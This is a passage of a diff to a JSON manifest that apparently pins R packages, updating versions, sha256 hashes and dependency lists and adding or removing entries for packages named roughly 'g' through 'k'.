"0azkbx3x6bb919b6miv9pn1swr2icxaysx5irdjvbxjd5ymlkz5y", "depends": ["Hmisc", "fields", "mgcv", "vegan"] }, "gofCopula": { @@ -73155,8 +72879,8 @@ }, "gofedf": { "name": "gofedf", - "version": "0.1.0", - "sha256": "12y6lhrpldj46adn3a7jz4snx79y9xdrzbgr5qa4gjl00w3nx6cn", + "version": "1.0.0", + "sha256": "1y5s9qpwykpzgpiqhi661ssd3z1xkhk9z0wp1f82vspsi3llf9gh", "depends": ["CompQuadForm", "MASS", "glm2", "statmod"] }, "goffda": { @@ -73279,12 +73003,6 @@ "sha256": "1n4gkmnwp9wadxz1izggxnpcpm4bz3imhq5y3i2szr8zwafcqqjv", "depends": ["data_table", "glue", "googleAuthR", "jsonlite", "purrr"] }, - "googleComputeEngineR": { - "name": "googleComputeEngineR", - "version": "0.3.0", - "sha256": "1s0qvnijzkja645lim373swk815n3s1292q6sk3q36ss70q42cfg", - "depends": ["assertthat", "future", "googleAuthR", "httr", "jsonlite"] - }, "googleErrorReportingR": { "name": "googleErrorReportingR", "version": "0.0.4", @@ -73381,12 +73099,6 @@ "sha256": "18sqvwpw69x6v79jl6pc1pyx6rhdd0697sybbq4hl8bqrrg1k6q4", "depends": ["MASS", "Matrix", "mvtnorm", "nlme", "quadprog"] }, - "gorica": { - "name": "gorica", - "version": "0.1.4", - "sha256": "1r8dg9wcqxd53zm27mf0554x2zlsclbfmqqwjbkywa3np6gi358y", - "depends": ["MASS", "bain", "lavaan", "limSolve", "lme4", "mvtnorm", "quadprog"] - }, "gosset": { "name": "gosset", "version": "1.4", @@ -73473,8 +73185,8 @@ }, "gpindex": { "name": "gpindex", - "version": "0.6.2", - "sha256": "1hif169xsvfvsnbgmad8v9qwq1d6hxvn74zyqkbmic8v3yxifs56", + "version": "0.6.3", + "sha256": "1fq6v0vr20cihc407lnmfgl3yb6sfk4yi57a38380skzpf5cwbh9", "depends": [] }, "gpk": { @@ -73683,9 +73395,9 @@ }, "grantham": { "name": "grantham", - "version": "0.1.2", - "sha256": "1bcycvf1sjzwxsmdbscj1q8i7kigy6gx5r202ihb1ilvdi1nmx7l", - "depends": ["dplyr", "tibble", "vctrs"] + "version": "0.1.4", + "sha256": "0gh3nnq6rhji661kd82vikb14qyxf76lkfvad5hh6rncygdx2zsr", + "depends": ["dplyr", "tibble"] }, "grapes": { "name": "grapes", @@ -73755,8 +73467,8 @@ }, "graphicalExtremes": { "name": "graphicalExtremes", - "version": "0.3.3", - "sha256": "11g036kbh3qr76irvsk126jbqha4miyzk0627s6cscdipvshr5cl", + "version": "0.3.4", + "sha256": "0hdrgnpj63li7x0m433vis5yd8s30bv0nm362m19fm6gjlliw62n", "depends": ["CVXR", "Rdpack", "corpcor", "glassoFast", "glmnet", "igraph", "mvtnorm", "osqp"] }, "graphicalMCP": { @@ -73903,6 +73615,12 @@ "sha256": "1fz5ra1fi2z4x4wnh34yppg33xpgl91dri7a0yj6ksl1k2gm1xf6", "depends": ["Rcpp", "dqrng", "ggplot2", "magrittr", "plotly", "shiny", "tibble", "tidyr"] }, + "greenR": { + "name": "greenR", + "version": "0.0.1.3", + "sha256": "0kqiky9bffna77qx6c7rslbz2ypzq2diz3kq6vigw72ijf9dvbj5", + "depends": ["DBI", "DT", "OpenImageR", "RColorBrewer", "SuperpixelImageSegmentation", "classInt", "curl", "data_table", "dplyr", "duckdb", "ggplot2", "h3jsr", "htmltools", "htmlwidgets", "httr", "igraph", "ineq", "jsonlite", "leaflet", "magrittr", "mapview", "moments", "osmdata", "osrm", "patchwork", "progress", "purrr", "rstudioapi", "sf", "sfnetworks", "shiny", "spatstat_geom", "terra", "tibble", "tmap", "units", "viridis", "viridisLite"] + }, "greenclust": { "name": "greenclust", "version": "1.1.1", @@ -74163,9 +73881,9 @@ }, "groupedHyperframe": { "name": "groupedHyperframe", - "version": "0.2.1", - "sha256": "0xzxhyc4wnc1rkb3p44xs2gm35ivyif1ny29rpq1h896jjkjpkjd", - "depends": ["cli", "matrixStats", "nlme", "pracma", "spatstat_explore", "spatstat_geom"] + "version": "0.2.3", + "sha256": "0ic5fr5akjpj17jixcxqb2wcbhgsk7x0rf676wlnc8n6s36cxx5v", + "depends": ["SpatialPack", "cli", "matrixStats", "pracma", "spatstat_explore", "spatstat_geom"] }, "groupedHyperframe_random": { "name": "groupedHyperframe.random", @@ -74277,8 +73995,8 @@ }, "grpnet": { "name": "grpnet", - "version": "0.9", - "sha256": "17va8i063bjn8widlvxx8c03il6rdp8fyp8h3yk1lk7wlnxy32c3", + "version": "1.0", + "sha256": "14zanvaxsr04w3giczrn4qjr2lg1kbmg5hjwdmw865f4c107dr99", "depends": [] }, "grpreg": { @@ -74325,8 +74043,8 @@ }, "gsDesign2": { "name": "gsDesign2", - "version": "1.1.3", - "sha256": "11bd2l0vi1xa8hx59i543csqyphmqbg2jax9gcsjrgjfn2pjm2cm", + "version": "1.1.4", + "sha256": "1fv3xvfdax5z4gkj4rbzf3dx3h1jragj4bjrkx0b1wmwdkz15dv2", "depends": ["Rcpp", "corpcor", "data_table", "dplyr", "gsDesign", "gt", "mvtnorm", "npsurvSS", "r2rtf", "survival", "tibble", "tidyr"] }, "gsEasy": { @@ -74505,8 +74223,8 @@ }, "gtExtras": { "name": "gtExtras", - "version": "0.5.0", - "sha256": "000vwq4k0vrn75vzy6iflqydxl81rgn06a8kqca99gwywcqr3gvv", + "version": "0.6.0", + "sha256": "1lfa2zvahjfg6x6fwr2fl189i3rki9f1ak39cwly6c892m44d7xw", "depends": ["cli", "commonmark", "dplyr", "fontawesome", "ggplot2", "glue", "gt", "htmltools", "knitr", "paletteer", "rlang", "scales"] }, "gtWAS": { @@ -74691,9 +74409,9 @@ }, "gutenbergr": { "name": "gutenbergr", - "version": "0.2.4", - "sha256": "0hx9mrykkc7jqf5pl3k9y5i7pv8v9pwija8swv6s5p1gbmg56vg6", - "depends": ["cli", "dplyr", "glue", "lazyeval", "magrittr", "purrr", "readr", "stringr", "urltools"] + "version": "0.3.0", + "sha256": "1324z8l323abvpd26983ggfd5s3ww0ydm4gj2jgi2vg4sih2x7n3", + "depends": ["cli", "dplyr", "glue", "purrr", "readMDTable", "readr", "rlang", "stringr", "tibble", "urltools"] }, "gvc": { "name": "gvc", @@ -74727,9 +74445,9 @@ }, "gwasrapidd": { "name": "gwasrapidd", - "version": "0.99.17", - "sha256": "1fmymw7vm4ana86mwf8figda20l601c7c6nr14444647x8cimlhx", - "depends": ["assertthat", "concatenate", "dplyr", "glue", "httr", "jsonlite", "lubridate", "magrittr", "pingr", "plyr", "progress", "purrr", "rlang", "stringr", "testthat", "tibble", "tidyr", "urltools", "writexl"] + "version": "0.99.18", + "sha256": "1cr48izz9gy8zg348mn7xniprv0p0idiig05h6cnp0qcy0xb3n1l", + "depends": ["assertthat", "dplyr", "glue", "httr", "jsonlite", "lubridate", "magrittr", "pingr", "plyr", "progress", "purrr", "rlang", "stringr", "testthat", "tibble", "tidyr", "urltools", "writexl"] }, "gwavr": { "name": "gwavr", @@ -74901,9 +74619,9 @@ }, "hakaiApi": { "name": "hakaiApi", - "version": "1.0.2", - "sha256": "0lxqk4cp1s1sm3nbsp74q1bpklmph620c2f1kii97h6yimnq9bi0", - "depends": ["R6", "dplyr", "httr", "readr", "tibble"] + "version": "1.0.3", + "sha256": "124favc84xv2kzdpvr5b8x3qrbq26swh7xkjgznq6y5hclxa43kv", + "depends": ["R6", "dplyr", "httr2", "readr", "tibble"] }, "hal9001": { "name": "hal9001", @@ -75007,12 +74725,6 @@ "sha256": "1h6r6ddhff75n9brh1pxpqc0s7xn36ly1c3nhlnjipy0k77kxdrg", "depends": ["arsenal", "rms"] }, - "haploR": { - "name": "haploR", - "version": "4.0.7", - "sha256": "1s8f556d9x5h76gyl4wggcx01f4qrx0fp5mz46yk2x9qmwiir89v", - "depends": ["DT", "RCurl", "RJSONIO", "RUnit", "XML", "httr", "plyr", "tibble"] - }, "haplotyper": { "name": "haplotyper", "version": "0.1", @@ -75037,12 +74749,6 @@ "sha256": "03iblwb6w2dh9sibfi4nlswidck13hzsn7123838zp4sxfnrp041", "depends": [] }, - "hapsim": { - "name": "hapsim", - "version": "0.31", - "sha256": "0jw6iw89d4y8wjy58biv40szp123ql7frz1mmdjdxljmwaby963h", - "depends": ["MASS"] - }, "harbinger": { "name": "harbinger", "version": "1.2.707", @@ -75109,6 +74815,12 @@ "sha256": "10rvq4rvg7fds2ylh21lri4wlvj870bncqq7kma7rf89rg5x1jz6", "depends": [] }, + "hassediagrams": { + "name": "hassediagrams", + "version": "1.0", + "sha256": "054h5nykv180mrarfg1v4byl1v73bmjlws02xcin90alxlpm29l0", + "depends": ["MASS", "igraph"] + }, "hatchR": { "name": "hatchR", "version": "0.3.2", @@ -75117,8 +74829,8 @@ }, "haven": { "name": "haven", - "version": "2.5.4", - "sha256": "0dd83v3bfs7and9ydx35m8zw0md3wgchwpnvj6yllixa6yxk25cy", + "version": "2.5.5", + "sha256": "19f9n7a4g90fdwhx66cjyxmzm5zdgwqkawk8ry587qb06yfcv0ll", "depends": ["cli", "cpp11", "forcats", "hms", "lifecycle", "readr", "rlang", "tibble", "tidyselect", "vctrs"] }, "hawkes": { @@ -75243,9 +74955,9 @@ }, "hdar": { "name": "hdar", - "version": "1.0.5", - "sha256": "0kpvlv0n4sfm51l873cy2k47l3r6rr8jhgglj728ka3jrlm10w1w", - "depends": ["R6", "htmltools", "httr2", "humanize", "jsonlite", "magrittr", "stringr"] + "version": "1.0.6", + "sha256": "1w242ivi6ffdmi9j4vzczmaaymy35a0jcs4n19rh382823ic03jw", + "depends": ["R6", "htmltools", "httr2", "jsonlite", "magrittr", "progress", "scales", "stringr"] }, "hdbayes": { "name": "hdbayes", @@ -75357,8 +75069,8 @@ }, "hdnom": { "name": "hdnom", - "version": "6.0.4", - "sha256": "0d9khk2a16p4j6vcj109pn695fbrra8vx821fzzyg56px5j1j8k0", + "version": "6.1.0", + "sha256": "1lx77lprp64x0dnxlqdvgbgbmkjhbpw312pxnk7njm4r5lpschvj", "depends": ["foreach", "ggplot2", "glmnet", "gridExtra", "ncvreg", "penalized", "survival"] }, "hdpGLM": { @@ -75633,8 +75345,8 @@ }, "heplots": { "name": "heplots", - "version": "1.7.4", - "sha256": "0fjmmqz6vf92gz6r9qsyvlykggb1551yzr5iqzbakf3dhwf2zvk6", + "version": "1.7.5", + "sha256": "0m951dq8d9w88wq1zkp05npfj991c535clygknx5wczk2ln3xlcb", "depends": ["MASS", "broom", "car", "magrittr", "purrr", "rgl", "tibble"] }, "hera": { @@ -75693,8 +75405,8 @@ }, "heterocop": { "name": "heterocop", - "version": "0.1.1", - "sha256": "0ljj5g3dd2kmhl6d78jfd6342w4vkbsnvw7gdvg4ml625wrx7923", + "version": "1.0.0", + "sha256": "1059hw5wfn60wqvrn0nqlf2ms5b0v6nccba40z202saghh8mn9wk", "depends": ["doSNOW", "foreach", "huge", "igraph", "matrixcalc", "mvtnorm", "stringr"] }, "heterogen": { @@ -75777,8 +75489,8 @@ }, "hexDensity": { "name": "hexDensity", - "version": "1.4.8", - "sha256": "1wnhv4hhcwvzr73sb777j35amxs3xk5qric0s1n1viwbw031qi4j", + "version": "1.4.9", + "sha256": "0j7hdn96cj79zcw3l5p5154681bpf3difzillhn7azf2lzz7li9k", "depends": ["hexbin", "spatstat_geom"] }, "hexSticker": { @@ -75861,9 +75573,9 @@ }, "hgutils": { "name": "hgutils", - "version": "0.2.13", - "sha256": "12sylpfjzh8avlk9b51vcz5dm8097z9k90n043pv3g5jzywd4wxd", - "depends": ["crayon", "dplyr", "limSolve", "lubridate", "magrittr", "stringr"] + "version": "0.2.19", + "sha256": "1fphfwf555rwk95l7vflmvy3qf246q4lzpvkyyywj5k8wyqz43sq", + "depends": ["crayon", "dplyr", "lubridate", "magrittr", "stringr"] }, "hgwrr": { "name": "hgwrr", @@ -76569,9 +76281,9 @@ }, "hrqglas": { "name": "hrqglas", - "version": "1.1.0", - "sha256": "0v3hdjz8755ka4ahdx2dsyw3513hxg1r0ncj9id6gbmqq1l0s9a5", - "depends": ["MASS", "Matrix", "Rcpp", "quantreg"] + "version": "1.1.2", + "sha256": "01w6y1b6lsah9rifi6y9b696jncgifc38j7rr75drl0q12qk2nwi", + "depends": ["MASS", "Matrix"] }, "hrt": { "name": "hrt", @@ -76785,9 +76497,9 @@ }, "hubEnsembles": { "name": "hubEnsembles", - "version": "0.1.9", - "sha256": "1kl3m41mfi1r47sv1m4w8kdk6zqq3jizr2hjv5wbvsgdrcxqc7nx", - "depends": ["cli", "distfromq", "dplyr", "hubUtils", "matrixStats", "purrr", "rlang", "tidyr", "tidyselect"] + "version": "1.0.0", + "sha256": "0znpz9klcgc521y0bx9prcda1radhri8zc8dzk52bsabcwbp83s9", + "depends": ["cli", "distfromq", "dplyr", "hubUtils", "lifecycle", "matrixStats", "purrr", "rlang", "tidyr", "tidyselect"] }, "hubUtils": { "name": "hubUtils", @@ -77073,8 +76785,8 @@ }, "hyper_gam": { "name": "hyper.gam", - "version": "0.1.0", - "sha256": "02qh6rk4pkad5nyz02q65j6wgdr6l0xn47axk26lgama6dbzgah4", + "version": "0.1.1", + "sha256": "0nyg3h7x5dnhhd6i8zbjf7fx95cjwjfnab60w9l4b1y9w47nx5f7", "depends": ["caret", "cli", "groupedHyperframe", "mgcv", "nlme", "plotly"] }, "hyper2": { @@ -77197,6 +76909,12 @@ "sha256": "14k9s5ppq3c7ldh6gqi82awmkk34ac0br0qr42gqba9lrssf4bsr", "depends": ["MASS", "ciTools", "data_table", "dplyr", "ggplot2", "incidence2", "rlang", "tibble", "tidyr", "tidyselect", "vctrs"] }, + "i3pack": { + "name": "i3pack", + "version": "0.1.0", + "sha256": "13dmvqmkjmwryzklpdf1606g6nh8gdw7smc5a5cvf70lxraw0kxl", + "depends": ["STV", "dplyr", "gbm", "magrittr", "readr", "rlang", "tidyr"] + }, "iAR": { "name": "iAR", "version": "1.3.0", @@ -77361,9 +77079,9 @@ }, "iNZightPlots": { "name": "iNZightPlots", - "version": "2.15.3", - "sha256": "0pc1z7ikh3c2l5s1dljdzaqk83m6i5p64p771waz5frkyyf3bg4r", - "depends": ["boot", "chron", "colorspace", "dichromat", "emmeans", "expss", "hexbin", "hms", "iNZightMR", "iNZightTools", "lubridate", "magrittr", "quantreg", "rlang", "s20x", "scales", "stringr", "survey", "units"] + "version": "2.16.0", + "sha256": "0afallnnjis0jmr5a755r6cxp9jk75vjz9h88zwygxmmk6kjxb71", + "depends": ["boot", "chron", "colorspace", "dichromat", "dplyr", "emmeans", "expss", "hexbin", "hms", "iNZightMR", "iNZightTools", "lubridate", "magrittr", "quantreg", "rlang", "s20x", "scales", "stringr", "survey", "units"] }, "iNZightRegression": { "name": "iNZightRegression", @@ -77481,8 +77199,8 @@ }, "iapws": { "name": "iapws", - "version": "1.1", - "sha256": "115m678kb2bz450pjg8a5jrjj3g2q2cgpyg9cksz3ysm6j5vrb1a", + "version": "1.2", + "sha256": "0jaq8h57kjlgdk26ajz1ax9mfxjvc2rvqrq25pd2n2s79lrk9hyz", "depends": [] }, "iarm": { @@ -77745,8 +77463,8 @@ }, "icesVocab": { "name": "icesVocab", - "version": "1.3.1", - "sha256": "0zyhs1rw8vp9yb2vrv5jl565jkmr4sdlgv367lw9kp636aya3p7k", + "version": "1.3.2", + "sha256": "1pqxzq74vkaz34mj55lg59lv5ssj0g60fgy5qifplnp6kgi02f0q", "depends": ["cachem", "httr", "icesConnect", "memoise", "rlang"] }, "ichimoku": { @@ -77839,12 +77557,6 @@ "sha256": "0845fh7rxmkgkw1m5nkkaqr0s4bjzczix2vhg5pb5pkbn6111q0n", "depends": ["MASS", "Rcpp", "RcppArmadillo", "Rdpack", "dfidx", "dplyr", "scales", "shiny", "shinyjs", "tableHTML", "tmvtnorm"] }, - "idem": { - "name": "idem", - "version": "5.2", - "sha256": "0vgxrw7rdhnxrrsg46x6nd2zx938j1z41fr4gp9pjmh2q6rnnaxl", - "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "mice", "rstan", "rstantools", "sqldf", "survival"] - }, "idendr0": { "name": "idendr0", "version": "1.5.3", @@ -77985,9 +77697,9 @@ }, "ifo": { "name": "ifo", - "version": "0.2.0", - "sha256": "0zi89cwyr7pvws4b9brb2zcyy9sxjh61px9hkni0pf8m39kxzqkg", - "depends": ["curl", "readxl", "rvest", "tidyr"] + "version": "0.2.1", + "sha256": "0qhchmv2mv8bg4nnygayi5jw27gabgvf2pv06h61jabf2mx7xcrs", + "depends": ["curl", "data_table", "readxl", "rvest"] }, "ifpd": { "name": "ifpd", @@ -78337,16 +78049,10 @@ "sha256": "0y2hafdasgj8j2rcbf8mas1xvrv8pzwwdy49wk958l7cz8xqpzc4", "depends": ["R6", "checkmate", "cli", "dplyr", "duckplyr", "glue", "lifecycle", "readr", "rlang"] }, - "immuneSIM": { - "name": "immuneSIM", - "version": "0.8.7", - "sha256": "0brj12xnkzmn3n91vb39fq3q68wmzmwx9l38dl38yypp0l8pknjl", - "depends": ["Biostrings", "Metrics", "RColorBrewer", "data_table", "ggplot2", "ggthemes", "igraph", "plyr", "poweRlaw", "repmis", "reshape2", "stringdist", "stringr"] - }, "immunogenetr": { "name": "immunogenetr", - "version": "0.1.0", - "sha256": "1y8y0yh2hflhhm3qlxrs4mn71xr655zknyd420514vw6gkca0bqh", + "version": "0.2.0", + "sha256": "1q8r16nyda06lxpz07m433qbz2i8hdz92l6x93plhbq7gh53i2az", "depends": ["cli", "dplyr", "glue", "magrittr", "purrr", "rlang", "stringr", "tibble", "tidyr", "tidyselect", "xml2"] }, "imola": { @@ -78549,8 +78255,8 @@ }, "inca": { "name": "inca", - "version": "0.0.4", - "sha256": "1r3niibd6pja59am8in9gpyvxi2g5bh8bqqhdixzwaj3xzyyipii", + "version": "0.1.0", + "sha256": "1aha3w1rxy7dr9kn8bh7k7pjyjrpj05wv4bwfxqyknfzskfjxpja", "depends": ["Matrix", "Rcpp", "RcppArmadillo"] }, "incase": { @@ -78573,8 +78279,8 @@ }, "incidence2": { "name": "incidence2", - "version": "2.6.2", - "sha256": "1lb7x11lriw3q3rdk3fl4cvw9f9i9cn9j07igr7vyphmg645l1hb", + "version": "2.6.3", + "sha256": "1wxj42lg8vh966y5pcawnksqbnf6s7jk9f37x7c4nb6pvfcij94a", "depends": ["data_table", "dplyr", "grates", "pillar", "rlang", "tibble", "tidyr", "tidyselect", "vctrs", "ympes"] }, "incidental": { @@ -78745,6 +78451,12 @@ "sha256": "1zgy8f8b9pmpvpgqh3niczkr94xkc53xcjim73djmd10azw3kgrk", "depends": ["magrittr"] }, + "infixit": { + "name": "infixit", + "version": "0.3.1", + "sha256": "0iv0za69fxrkajhw95csvlj2pb7cp5711fys9k11kfr3k2x0xqn7", + "depends": [] + }, "inflection": { "name": "inflection", "version": "1.3.6", @@ -78801,8 +78513,8 @@ }, "informativeSCI": { "name": "informativeSCI", - "version": "1.0.3", - "sha256": "1va0lqhranks4kn1al4fwl00f39aylx361xc369vj3q55qbigny0", + "version": "1.0.4", + "sha256": "1n7gsb5lrmycjc2mmqwyfgphlw4ypngrg2678rb44i0ps8d2ll3c", "depends": ["gMCP", "mvtnorm"] }, "informedSen": { @@ -78921,8 +78633,8 @@ }, "insect": { "name": "insect", - "version": "1.4.2", - "sha256": "0pbac9il1jrhii0hxvvqjc3phyr2iamxwzanxx5mrkyjh2wsl3jh", + "version": "1.4.4", + "sha256": "1lc1h6v8d2ys6dbn4nlvr9p9bxp0sfxggj110rwbxi1j4rwjvxbd", "depends": ["RANN", "ape", "aphid", "kmer", "openssl", "phylogram", "seqinr", "xml2"] }, "insee": { @@ -79123,12 +78835,6 @@ "sha256": "0crijwb076b3hprjnji52l8qnd5pp3w7pxy214sfqrg2g3y4gcfl", "depends": ["AER", "Lmoments", "MASS", "ModelMetrics", "RColorBrewer", "Rcpp", "RcppArmadillo", "doParallel", "foreach", "future", "ggplot2", "ggplotify", "gridExtra", "gtable", "lfe", "lmtest", "mgcv", "mvtnorm", "pROC", "pcse", "sandwich"] }, - "interfr": { - "name": "interfr", - "version": "0.1.0", - "sha256": "1wn7i8dsll1qq3v39hgpbqnkjc8f4wlffy73453rw9lpq61y2fgj", - "depends": ["CircStats", "colorSpec", "plotrix"] - }, "intergraph": { "name": "intergraph", "version": "2.0-4", @@ -79209,9 +78915,9 @@ }, "interprocess": { "name": "interprocess", - "version": "1.2.0", - "sha256": "11z8nl88y57ws4zz3m0qx81dfax6rrpr24w0snq1z57i0nippk6x", - "depends": ["BH", "Rcpp"] + "version": "1.3.0", + "sha256": "18kdrl0ina8sakq6qa9w9v66n7yd12hvkkf0kv35v3xldfb6zr9a", + "depends": ["BH", "cpp11"] }, "inters": { "name": "inters", @@ -79335,8 +79041,8 @@ }, "inventorize": { "name": "inventorize", - "version": "1.1.1", - "sha256": "0pbm9iw4v6wqr4qs5g2nfkgiaq75qdfcdicazy94fwwfvx5xbgbv", + "version": "1.1.2", + "sha256": "1qx1ncd4g6nyyykcf6sc3xjxhvd1yy0ijd5vhp08c11vpy3mr1sn", "depends": ["dplyr", "ggplot2", "magrittr", "plotly", "plyr", "tidyr"] }, "inverseRegex": { @@ -79399,12 +79105,6 @@ "sha256": "1r9mqqvl447pplc1wgm7xkqgc5s8v3bi8iicjvaly1j3j5cc4v0r", "depends": ["Rcpp"] }, - "ionr": { - "name": "ionr", - "version": "0.3.0", - "sha256": "18rv5n5gihb6pz36s45yj17sdjsbj4485k4lnggdjj1gbbjkz2ni", - "depends": ["gplots", "psych"] - }, "iopsych": { "name": "iopsych", "version": "0.90.1", @@ -79623,8 +79323,8 @@ }, "ipsecr": { "name": "ipsecr", - "version": "1.4.2", - "sha256": "0swi1lyyd80g8qzynvyhs6y11g1rcrs2y0lkxrg9zw8jffy0dipz", + "version": "1.4.4", + "sha256": "0dxj2dr3qd5lk6y3ag3zs4m87rri4kmnii4byn80lid2sdjc1vsx", "depends": ["BH", "MASS", "Rcpp", "RcppArmadillo", "nlme", "secr", "stringr"] }, "ipsfs": { @@ -79635,8 +79335,8 @@ }, "ipumsr": { "name": "ipumsr", - "version": "0.8.2", - "sha256": "1vvs92yd4cfxwr3izsw1vj3hs20wdlrky90l2xnjr47izipq6xlh", + "version": "0.9.0", + "sha256": "1pg8z8kg48plkmnv78y1lhs5vik6mw7yjgdzz4sxhxh5xhira0ar", "depends": ["R6", "dplyr", "haven", "hipread", "httr", "jsonlite", "lifecycle", "purrr", "readr", "rlang", "tibble", "tidyselect", "xml2", "zeallot"] }, "ipw": { @@ -79801,12 +79501,6 @@ "sha256": "1qlc6007pbjgzmzii0bwifr0npdhlwnipk0c9yhxc2d85qid5a9m", "depends": [] }, - "iscoCrosswalks": { - "name": "iscoCrosswalks", - "version": "1.0.0", - "sha256": "00pzz0fy0k7zvi5pf389w4g5z96rbc4gzjvhghcmbq71z319wwcn", - "depends": ["Rdpack", "data_table", "labourR"] - }, "isdals": { "name": "isdals", "version": "3.0.1", @@ -79917,8 +79611,8 @@ }, "isocountry": { "name": "isocountry", - "version": "0.3.0", - "sha256": "0rzw08gpp0lh3flnxc03wqq4qpdyk02pqr3gskw8kdrfhi7n3sqm", + "version": "0.4.0", + "sha256": "0gksbq90i0h4pm7mqkwiz8lmd0lyby40z1lc935miz0zgr96n24x", "depends": ["tibble"] }, "isodistrreg": { @@ -80515,12 +80209,6 @@ "sha256": "0y9yvnzg6xngz1fvzl5jm4yb1pg6wrp3id0gysv214wcznf3gna9", "depends": [] }, - "jlctree": { - "name": "jlctree", - "version": "0.0.2", - "sha256": "0l8piz0m9iv9lbw35yx1ww0db0pv0qhbvkz4l36fwjsgnjlh8f6a", - "depends": ["lme4", "rpart", "survival"] - }, "jlmerclusterperm": { "name": "jlmerclusterperm", "version": "1.1.4", @@ -80577,9 +80265,9 @@ }, "jmv": { "name": "jmv", - "version": "2.5.6", - "sha256": "070bwzq9i3xznx44vlpxw41ja0ry9w08jdnyxf5i58ndshpf1jbz", - "depends": ["BayesFactor", "GGally", "GPArotation", "MASS", "PMCMR", "R6", "ROCR", "afex", "car", "dplyr", "emmeans", "ggplot2", "ggrepel", "ggridges", "jmvcore", "lavaan", "magrittr", "multcomp", "mvnormtest", "nnet", "psych", "vcd", "vcdExtra"] + "version": "2.7.0", + "sha256": "0y1d63d9vm4v9gwfm48ydnrxadvlwcww6s2bk3ni13v6ik4gwvxb", + "depends": ["BayesFactor", "GGally", "GPArotation", "MASS", "PMCMR", "R6", "ROCR", "afex", "car", "dplyr", "emmeans", "ggplot2", "ggrepel", "ggridges", "jmvcore", "lavaan", "magrittr", "matrixStats", "multcomp", "mvnormtest", "nnet", "psych", "vcd", "vcdExtra"] }, "jmvReadWrite": { "name": "jmvReadWrite", @@ -80607,9 +80295,9 @@ }, "jobqueue": { "name": "jobqueue", - "version": "1.6.0", - "sha256": "1xjr0fw4jhifqiqsbg4lwqfzdjajndwfg0azr143wif6gqy0wwjh", - "depends": ["R6", "cli", "later", "magrittr", "parallelly", "promises", "ps", "rlang", "semaphore"] + "version": "1.7.0", + "sha256": "01mz1rf9chffc99ff5d9k8dr1fhkp681687ar8xr10m96z0803m0", + "depends": ["R6", "cli", "interprocess", "later", "magrittr", "parallelly", "promises", "ps", "rlang"] }, "jocre": { "name": "jocre", @@ -80761,6 +80449,12 @@ "sha256": "01x2iyc37pfd1rz4avgiv1ng1d5g4hpi4viv8y0pcb9rpv3dymw1", "depends": ["cli", "dplyr", "lifecycle", "pillar", "purrr", "rlang", "sf", "stars", "stringr", "tibble", "tidygraph", "tidyr", "units", "vctrs"] }, + "jpinfect": { + "name": "jpinfect", + "version": "0.1.2", + "sha256": "0p3mwr5kqvx03pc2lppkad3yiay0w8ymkcynzbr85mifxsw1ijzi", + "depends": ["ISOweek", "dplyr", "future", "future_apply", "httr", "magrittr", "readr", "readxl", "stringi", "stringr", "tidyr", "tidyselect"] + }, "jpmesh": { "name": "jpmesh", "version": "2.1.0", @@ -80841,15 +80535,15 @@ }, "jskm": { "name": "jskm", - "version": "0.5.11", - "sha256": "1ng4f8nn6398ymm6g9c1b0kpiy445rax9vzbfy3gh3dig50bbm1p", + "version": "0.5.13", + "sha256": "0dmpfpjy4spv5f81sz6ciydqx7d7mvli8fnw4gp7vqn1hxs37ly3", "depends": ["cmprsk", "ggplot2", "ggpubr", "patchwork", "scales", "survey", "survival"] }, "jsmodule": { "name": "jsmodule", - "version": "1.6.8", - "sha256": "0sabxwzw2xpaykdsbgzc17c1qzg7l8hmg1jnnpl3w3jvp3bvj08i", - "depends": ["DT", "GGally", "Hmisc", "MatchIt", "RColorBrewer", "bslib", "data_table", "epiDisplay", "flextable", "forestploter", "geepack", "ggplot2", "ggpubr", "ggrepel", "haven", "htmltools", "jskm", "jstable", "labelled", "maxstat", "officer", "pROC", "purrr", "readr", "readxl", "rstudioapi", "rvg", "scales", "see", "shiny", "shinyWidgets", "shinycustomloader", "shinyjs", "survIDINRI", "survey", "survival", "timeROC"] + "version": "1.6.9", + "sha256": "15spp6kva3f1bacri4kkppwd2l6hfjxh886hy1qvbmmhc0x9nmrb", + "depends": ["DT", "GGally", "Hmisc", "MatchIt", "RColorBrewer", "bslib", "data_table", "epiDisplay", "flextable", "forestploter", "geepack", "ggplot2", "ggpubr", "ggrepel", "haven", "htmltools", "jskm", "jstable", "labelled", "maxstat", "officer", "pROC", "purrr", "readr", "readxl", "riskRegression", "rstudioapi", "rvg", "scales", "see", "shiny", "shinyWidgets", "shinycustomloader", "shinyjs", "survIDINRI", "survey", "survival", "timeROC"] }, "json2aRgs": { "name": "json2aRgs", @@ -81117,8 +80811,8 @@ }, "karaoke": { "name": "karaoke", - "version": "2.0", - "sha256": "09fxf2pgs7nj96p8cfwc8ghwl8aqk6zal8njizbrz19m6l7ygxmk", + "version": "3.0", + "sha256": "0j50km7j6nmmpalhyzv2ydh69pj6ss5jgdqykiy83hcj1d2h4cac", "depends": ["seewave", "tuneR"] }, "karel": { @@ -81177,8 +80871,8 @@ }, "kde1d": { "name": "kde1d", - "version": "1.1.0", - "sha256": "0im5cvkc3jkgrlqnfv1z4dz07zcfny05hwdjp7r33jxn5cs4xmsr", + "version": "1.1.1", + "sha256": "0712qfcwws0jfvjg7cr1nbjyxwh8aan2miy6azid4r1vb5g3sa3h", "depends": ["BH", "Rcpp", "RcppEigen", "randtoolbox"] }, "kdecopula": { @@ -81385,6 +81079,12 @@ "sha256": "1wzn93gp1v6y8qh9kypydqadnf6fc7xzjili77b7j402hvb0a8zg", "depends": ["jsonlite", "openssl", "stringr"] }, + "keyclust": { + "name": "keyclust", + "version": "1.2.5", + "sha256": "04icqrkzn52rb4gh5rigfknx4aq1d4babs38bz5myi4pg301ahpl", + "depends": ["Rcpp", "data_table", "textstem"] + }, "keyholder": { "name": "keyholder", "version": "0.1.7", @@ -81411,9 +81111,9 @@ }, "keyring": { "name": "keyring", - "version": "1.3.2", - "sha256": "0mps6q7yayx5l78vlq567pndlsjk71izd65znz3lj4dfbh0qq046", - "depends": ["R6", "askpass", "assertthat", "filelock", "openssl", "rappdirs", "sodium", "yaml"] + "version": "1.4.0", + "sha256": "1s1msy82f76wkbchhrfxr072dzg93qnmcg017ymhdksmrjw7zxwk", + "depends": ["R6", "askpass", "filelock", "yaml"] }, "keyringr": { "name": "keyringr", @@ -81501,8 +81201,8 @@ }, "kidney_epi": { "name": "kidney.epi", - "version": "1.3.0", - "sha256": "1p4p5v349knv29zsvnas4a4lvl2pxiqkk6gi679w43mnpqhkghnb", + "version": "1.4.0", + "sha256": 